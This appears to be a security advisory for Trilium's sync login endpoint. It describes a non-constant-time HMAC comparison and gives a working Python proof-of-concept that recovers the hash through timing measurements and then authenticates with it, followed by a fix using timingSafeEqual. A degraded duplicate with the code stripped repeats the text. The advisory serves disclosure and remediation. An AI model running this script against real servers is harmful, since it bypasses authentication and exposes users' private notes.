Summary
A critical timing attack vulnerability in Trilium's sync authentication endpoint allows unauthenticated remote attackers to recover HMAC authentication hashes byte-by-byte through statistical timing analysis. This enables complete authentication bypass without password knowledge, granting full read/write access to victim's knowledge base.
Details
Vulnerable Code Location:
- File:
apps/server/src/routes/api/login.ts
- Function:
loginSync()
- Line: 111
Root Cause:
The vulnerability exists in the HMAC hash comparison logic:
const documentSecret = options.getOption("documentSecret");
const expectedHash = utils.hmac(documentSecret, timestampStr);
const givenHash = req.body.hash;
if (expectedHash !== givenHash) { // VULNERABLE - Non-constant-time comparison
return [400, { message: "Sync login credentials are incorrect..." }];
}
JavaScript's !== operator performs byte-by-byte comparison with early-exit behavior, creating measurable timing differences that leak information about which bytes are correct.
The attack requires >100k requests, >1k different IP addresses due to rate limiting, and network jitter between the attacker and the Trilium server must be consistently stable.
PoC
Attack Methodology:
- Send 64 requests per character position with different guesses (A-Z, a-z, 0-9, +, /, =)
- Measure response time for each request using high-precision timers (time.perf_counter())
- Character with longest average response time = correct byte (more comparisons = more time)
- Iterate through all 44 positions to recover full hash
- Use recovered hash to authenticate to
/api/login/sync endpoint
Proof of Concept Code:
#!/usr/bin/env python3
import requests, time, statistics
from datetime import datetime, timezone
TARGET_URL = "http://victim-trilium.com"
SAMPLES_PER_BYTE = 50
class TimingAttack:
def __init__(self, target_url):
self.target_url = target_url
self.session = requests.Session()
def get_timestamp(self):
return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] + "Z"
def measure_response_time(self, hash_guess, timestamp):
payload = {"timestamp": timestamp, "syncVersion": 34, "hash": hash_guess}
start = time.perf_counter()
self.session.post(f"{self.target_url}/api/login/sync", json=payload, timeout=5)
return (time.perf_counter() - start) * 1000
def recover_byte_at_position(self, known_prefix, position):
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
timing_results = {}
for char in charset:
guess = (known_prefix + char).ljust(44, 'A')
samples = [self.measure_response_time(guess, self.get_timestamp())
for _ in range(SAMPLES_PER_BYTE)]
timing_results[char] = statistics.mean(samples)
return max(timing_results, key=timing_results.get)
def recover_full_hash(self):
recovered = ""
for position in range(44):
char = self.recover_byte_at_position(recovered, position)
recovered += char
return recovered
# Execute attack
attacker = TimingAttack(TARGET_URL)
stolen_hash = attacker.recover_full_hash()
# Authenticate using stolen hash
auth = requests.post(f"{TARGET_URL}/api/login/sync",
json={"timestamp": attacker.get_timestamp(), "syncVersion": 34, "hash": stolen_hash})
print(f"Authentication successful: {auth.status_code == 200}")
Recommended Fix
Replace non-constant-time comparison with Node.js's crypto.timingSafeEqual():
// BEFORE (VULNERABLE):
if (expectedHash !== givenHash) {
return [400, { message: "Sync login credentials are incorrect..." }];
}
// AFTER (SECURE):
const crypto = require('crypto');
const expectedBuffer = Buffer.from(expectedHash);
const givenBuffer = Buffer.from(givenHash);
// Check length first (not timing-sensitive)
if (expectedBuffer.length !== givenBuffer.length) {
return [400, { message: "Sync login credentials are incorrect..." }];
}
// Constant-time comparison prevents timing attacks
if (!crypto.timingSafeEqual(expectedBuffer, givenBuffer)) {
return [400, { message: "Sync login credentials are incorrect..." }];
}
Remediation
This has been fixed as of #8129.
Summary
A critical timing attack vulnerability in Trilium's sync authentication endpoint allows unauthenticated remote attackers to recover HMAC authentication hashes byte-by-byte through statistical timing analysis. This enables complete authentication bypass without password knowledge, granting full read/write access to victim's knowledge base.
Details
Vulnerable Code Location:
apps/server/src/routes/api/login.tsloginSync()Root Cause:
The vulnerability exists in the HMAC hash comparison logic:
JavaScript's
!==operator performs byte-by-byte comparison with early-exit behavior, creating measurable timing differences that leak information about which bytes are correct.The attack requires >100k requests, >1k different IP addresses due to rate limiting, and network jitter between the attacker and the Trilium server must be consistently stable.
PoC
Attack Methodology:
/api/login/syncendpointProof of Concept Code:
Recommended Fix
Replace non-constant-time comparison with Node.js's
crypto.timingSafeEqual():Remediation
This has been fixed as of #8129.